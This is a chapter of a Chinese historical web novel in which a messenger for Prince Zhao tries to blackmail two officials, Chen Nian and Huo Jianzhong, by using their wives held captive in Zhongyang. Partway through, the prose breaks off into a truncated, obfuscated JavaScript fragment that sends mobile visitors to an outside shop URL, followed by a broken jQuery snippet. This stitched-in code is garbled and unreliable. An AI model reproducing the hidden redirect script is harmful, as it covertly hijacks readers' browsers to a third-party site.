52. 司南
    和顾涟涟一行人分别的时日越来越久,陈年心中也有些担忧,但想到妻子身边有人陪同就又放下些心来,只是多日不曾收到书信让他又多添几分忧虑。

    在离开足足七日的时候,他得出空来,提笔写了一封书信让人快马送到仲阳。

    送信的人脚程快,来回不过三四日,可回信他等了许久都不曾等到,他的心情变得有些不安,又提笔写了几封信叫人送去。

    然就在这几封信一并送出时,他前些时候写的那封信有了回音。

    回信足足两封都署着顾涟涟的名姓,陈年大喜,急着拆了第一封,可信的内容却让她笑不起来。

    这封信的确由顾涟涟执笔,信中哭诉着她在仲阳遭遇的一切,包括求药无门,险被刺杀一事,言辞恳切地控诉着仲阳城中种种不好迹象,信末落笔,她对他极为思念。

    陈年看后心痛,即刻便想去到仲阳城,可转念一想仲阳是景王的属地,他先前将顾涟涟一行安置在仲阳就是看重了这一点。

    可这信中内容跟他先前所想完全违背,近日京中朝堂涌动,景王治下不严的言论频出,他现下虽为景王效力,但他在官场之上仍旧是新人,他尚分辨不出此人日后是否会是开明的君主。

    抱着这样的想法,陈年打开了第二封署着顾涟涟名的信。

    他认得顾涟涟的字迹,这封信的执笔之人显然不是顾涟涟也并未想着要去模仿她的字迹,信中的内容简单,有人约他在周邑附近的一座边城相见,却未写明此人是谁。

    这第二封信似乎在传达着顾涟涟被困在仲阳城中的信息,可若是被困在了仲阳城中又怎会写出那第一封信来?

    陈年察觉到了不对劲,信中约定的时间在三日后,足以让他快马赶到那座周邑附近的边城,他找了信得过的护卫陪同,在第三日的清晨他抵达了约定的地点,摘下落了雪的帽子和披风,屋中还站着一个人,是霍间重。

    他和他一样,刚刚抵达此处,手上拿着不知从哪里找来的白巾,擦拭着身上铠甲上残留着的血迹。

    “近来东羌还是频繁来侵扰周邑边境?”

    霍间重知晓陈年是在问自己身上血迹的来源,他摇摇头回答道:“不是,近来不少羌族人扮作普通百姓模样袭击在城中驻守护卫的士兵,我来此之前刚遇到了这样一群人。”

    “先前不知道羌人还有这般弯弯绕绕的心思,想必是有覃国指点。”他边说边坐下,屋子里的灰尘因他这一番动作飞散开来,“你也收到了信?”

    霍间重点点头说道:“有人写信叫我来此相见。”

    “署名的可是你家夫人?”不等霍间重回答陈年便又自顾自地说道,“你可猜出是何人将我们约到此处?说来也是奇怪,我收到的两封信,一封信由我夫人亲笔写成,而另一封则显然不是她的字迹。”

    霍间重没有回答,沉默地坐到了他的旁边等待着来人。

    进屋的第三个人是一个穿着华丽,用薄纱遮面的女子,那女子摆着腰间的金色链条走到二人面前,轻柔地说道:“二位久等了。”

    “你是何人?”陈年直截了当地问道。

    “我约二位大人来此,是来传达昭王托我给二位大人带的话。”

    霍间重抬眼,看向女子浅色的瞳孔,出声问道:“你是羌族人?”

    那女子先是摇摇头,随后才说道:“我父是汉人,我从小随父亲在燕京周边的一座小城长大,算不上是羌族人,只是近几年家父生意转移,来周邑附近住了些时日。“

    霍间重听后不再询问,等着那女子将昭王要带给他与陈年的话讲明。

    “昭王请二位大人辞去廷正监职务。”那女子云淡风轻地说道。

    “为何?”陈年不解问道,“是圣上旨意?”

    “圣上并没有下达解散廷正监的旨意,只是昭王希望二位大人离开廷正监,二位也不必为少了一份俸禄的事情忧心,昭王自会为二位大人另寻新去处。”

    陈年听后不再言语,他已明白了事情的前因后果。

    昭王遣人买通了他留在仲阳照顾顾涟涟一行的军士,将他的夫人困在了仲阳城中当作要挟。倘若他拒绝昭王的要求,只怕是他再见顾涟涟就是去仲阳城为其收敛尸体。

    见眼前的两人不再言语,那女子接着从袖中拿出她所认为的更具说服力的证据——两件显然是女子的饰品,摆到了陈年与霍间重面前。

    她没多说些什么,她相信这两件东西会迫使他们更快做下决定。

    霍间重识得那女子拿出的其中一个物件,是他这年送给沉竹的生辰礼,一个上面雕刻着无忧花纹的青玉司南佩。

    彼时他对沉竹的身份起疑,拿着刚到手的俸禄在燕京的街市上逛了许久,才选定了这物件。

    他记得将此物送到沉竹手中她欢喜的模样,那时廷正监没有起火,沁菊也还未被抓获。

    他记得她笑着对他讲:“夫君送我此物是愿我新岁无忧?”

    他摇头说道:“是也不是,近来城中妇女多喜爱在腰间佩戴司南佩,我想着你还没有便挑来送你。夫人可知这司南佩有何寓意?”

    沉竹忙着思虑沁菊隐去的秘密,哪里得出时间来注意街上的时兴物件。

    她思考了一阵,还是对霍间重摇了摇头。

    “近些时日战乱多发,流民部分涌入了燕京城中,城中难免气氛严峻,司南佩有辟邪、引路之意,因而十分时兴。”

    “辟邪、引路?”沉竹看着手中的那块青玉配件,轻声重复着,面上不再表露出笑容。

    “辟去邪祟,无忧度日,引正确之路。”他摸着她的发,一字一句地说着。

    记忆回笼,霍间重想起陈年方才同他随口带过的话,拿起桌上放着的司南佩,不轻不重地摩挲着。

    “你是如何确定她二人现下仍在仲阳城?”他向那女子反问道。

    女子脸上的信心被他的疑问短暂击碎,转而变成了疑惑与不解。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14201012|143261||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“仲阳离此处尚有一段路程,你现下拿着物件与书信来此找我们谈话,手中所握着的消息想必也是几日之前的吧。”霍间重补充道。

    “大人何必不相信?二位夫人身边围着的都是昭王的手下,纵使看管再不力,也不会让主仆总共四人离开仲阳城。”

    “我记得,仲阳似乎不归昭王辖制。”陈年兀自说道。

    “二位大人原是因这个缘由踌躇不决。”那女子轻松地笑了出来,“这是仲阳郡守钱正写给昭王的书信,二位大人尽管看过之后再下决定。”

    陈年率先拿起女子推到他们面前的书信展开来看,信中内容写明钱正表面担着景王门下、仲阳郡守的名号,实则经安插在燕京朝中的耳朵早早听闻景王近来式微的消息,转投了昭王,信的末尾还印着鲜红的仲阳郡守印。

    看着陈年逐渐僵硬的神情,霍间重就猜到信中书写了什么内容。

    “二位大人现下可否给我一个答复?”那女子边不紧不慢地说着,边拿走了轻飘飘落在陈年手中的书信,慢悠悠地叠好重新放回了自己宽大的袖中。

    陈年手中没了东西,空洞地看向霍间重,寻求解法。

    他心神不安,却见霍间重淡定地给出了答复:“你只管回去告诉昭王,此廷正监职位我是万不可能辞去的。”

    说完,他站起,还顺手将另一边放空的陈年也拉了起来。

    “周邑城中事务繁多,我们就不在此多耽搁了。”

    陈年听着霍间重道别,看着那女子胸有成竹的神情出现裂痕,又听到霍间重打开这间屋子老旧的房门,他才回过神来,向那女子行礼告别,从那还开着的屋门小跑了出去跟上霍间重的脚步。

    “不想二位大人竟如此绝情,爽快的做出了决定,我在此可是要再问一句,二位大人可想好了?”

    那女子不甘心,急走到了门前,看着已骑上马的霍间重高声喊道。

    霍间重不理会她的话,正了正身上的铠甲,看了眼身后的陈年是否骑上了马,就要出发。

    “倘若我说,夫人怀有身孕呢?”

    这次陈年的反应更快,他忙着问道:“哪一个?”

    那女子将视线落到提出问题的陈年身上,再次恢复了那副胸有成竹的模样,可声线却不曾压回原位:“仲阳城送来的书信上写明了,有身孕的那女子名为赵叶芊。”

    她理了理方才因慌张跑到眼前的碎发,继续说道:“二位大人可要重新做决定?”

    陈年担忧地看向霍间重,就要翻下刚骑上的马,同霍间重一并好好探讨,可有计策转圜局面。

    可霍间重听到此消息后只是顿了一下,一时间内没来得及松开手中的缰绳驾马离去。

    “走。”他朝身后的陈年掷出一个字,将在马上犹豫的陈年叫回了原位。

    马蹄扬起地上的沙,浅褐色的沙卷着风将那女子腰间的金色链条带出了声响,她没有多做停留,即刻回屋拿起纸笔写信传给仲阳城。